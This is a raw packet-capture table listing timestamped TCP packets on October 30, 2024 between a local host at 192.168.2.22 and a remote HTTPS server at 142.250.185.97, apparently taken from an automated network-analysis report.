Oct 30, 2024 07:53:23.364741087 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.364804983 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.364809036 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.366508007 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.366564989 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.366569996 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.368191004 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.369761944 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.369801998 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.369827032 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.369832039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.370352030 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.370841980 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.371366024 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.371406078 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.371409893 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.373137951 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.373188972 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.373193026 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.374816895 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.374840975 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.374895096 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.374898911 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.376274109 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.376329899 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.376333952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.377842903 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.377866983 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.377892971 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.377897024 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.377933025 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.378726006 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.378856897 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.379419088 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.381001949 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.381026030 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.381050110 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.381053925 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.382353067 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.382378101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.383905888 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.383951902 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.383965969 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.383970022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.385371923 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.385377884 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.385390043 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.385432005 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.385437012 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.386908054 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.387073040 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.387077093 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.388283014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.388334036 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.388338089 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.389769077 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.390669107 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.390672922 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.391191959 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.391335964 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.391340017 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.392611980 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.392637014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.392662048 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.392666101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.394052029 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.394074917 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.394093990 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.394098043 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.394352913 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.395402908 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.396728039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.396771908 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.396775007 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.396780014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.396816969 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.398134947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.398900986 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.398943901 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.398947954 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.400810003 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.400876999 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.400883913 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.400888920 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.400928020 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.400932074 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.402160883 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.402214050 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.402218103 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.403506041 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.403529882 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.403573036 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.403577089 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.404783010 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.404838085 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.404841900 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.406085968 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.406110048 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.406136036 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.406140089 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.406357050 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.407320023 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.409035921 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.409059048 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.409115076 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.409120083 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.409948111 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.410871029 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.410875082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.411144972 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.411222935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.411230087 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.411233902 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.411271095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.413640022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.413768053 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.413790941 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.413830042 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.413835049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.414798021 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.414841890 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.414845943 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.416050911 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.416079044 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.416126013 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.416130066 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.417248964 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.417714119 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.417717934 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.418499947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.418521881 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.418562889 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.418566942 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.419707060 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.419761896 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.419765949 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.422545910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.422604084 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.422607899 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.422646999 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.422682047 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.422686100 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.423175097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.423695087 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.423747063 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.423751116 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.424460888 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.424518108 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.424523115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.425462961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.425539017 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.425543070 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.426647902 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.426701069 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.426704884 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.427711964 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.428492069 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.428541899 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.428546906 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.428780079 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.428826094 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.428829908 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.429979086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.430002928 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.430058002 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.430063009 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.430968046 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.431035995 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.431040049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.432133913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.432176113 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.432179928 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.433129072 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.433197021 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.433245897 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.433249950 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.434653997 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.434693098 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.434696913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.435492039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.435549974 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.435555935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.436413050 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.436469078 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.436472893 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.437494040 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.437592030 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.437597036 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.438532114 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.438596010 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.438600063 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.439650059 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.440587044 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.440614939 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.440648079 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.440653086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.440685034 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.442050934 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.442106962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.442368984 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.442373037 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.444175005 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.444200039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.444227934 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.444235086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.444412947 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.445075035 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.446387053 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.447113991 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.447118044 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.449618101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.449655056 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.449692965 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.449697018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.450599909 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.450643063 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.450647116 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.452495098 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.453524113 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.453531027 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.455045938 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.455111027 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.455157042 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.455162048 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.457097054 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.457135916 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.457158089 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.457163095 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.457194090 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.458364010 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.461117983 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.461153984 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.461178064 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.461193085 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.461198092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.461214066 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.462095022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.462117910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.462143898 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.462147951 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.462181091 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.463993073 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.465806961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.465851068 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.465894938 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.465898991 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.467660904 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.467722893 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.467726946 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.469415903 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.469480038 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.469484091 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.471275091 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.473196983 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.473221064 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.473273993 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.473287106 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.474419117 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.474422932 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.474869967 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.474912882 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.474916935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.477555990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.477579117 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.477607965 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.477612972 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.478348970 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.478351116 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.478360891 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.478391886 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.478408098 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.480103016 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.480128050 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.480170012 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.480175018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.481807947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.481857061 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.481861115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.483531952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.483588934 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.483592987 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.485213041 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.485272884 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.485276937 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.486807108 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.488336086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.488367081 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.488384962 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.488389969 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.489361048 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.490123987 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.490416050 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.490463972 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.490468025 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.491997004 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.492028952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.492043972 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.492048025 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.492078066 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.492082119 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.493803978 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.493860960 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.493865013 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.494915962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.494940996 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.494986057 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.494990110 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.496510029 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.496570110 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.496573925 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.497931004 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.498096943 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.498100996 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.499449015 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.499617100 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.499620914 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.500992060 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.501050949 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.501055002 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.502435923 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.502489090 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.502492905 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.503937960 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.503977060 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.503981113 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.505217075 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.505251884 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.505255938 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.506736994 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.507275105 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.507280111 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.513823986 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.513849974 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.513925076 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.513931990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.513991117 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.722677946 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.722704887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.722780943 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.722788095 CET	443	49172	142.250.185.97	192.168.2.22
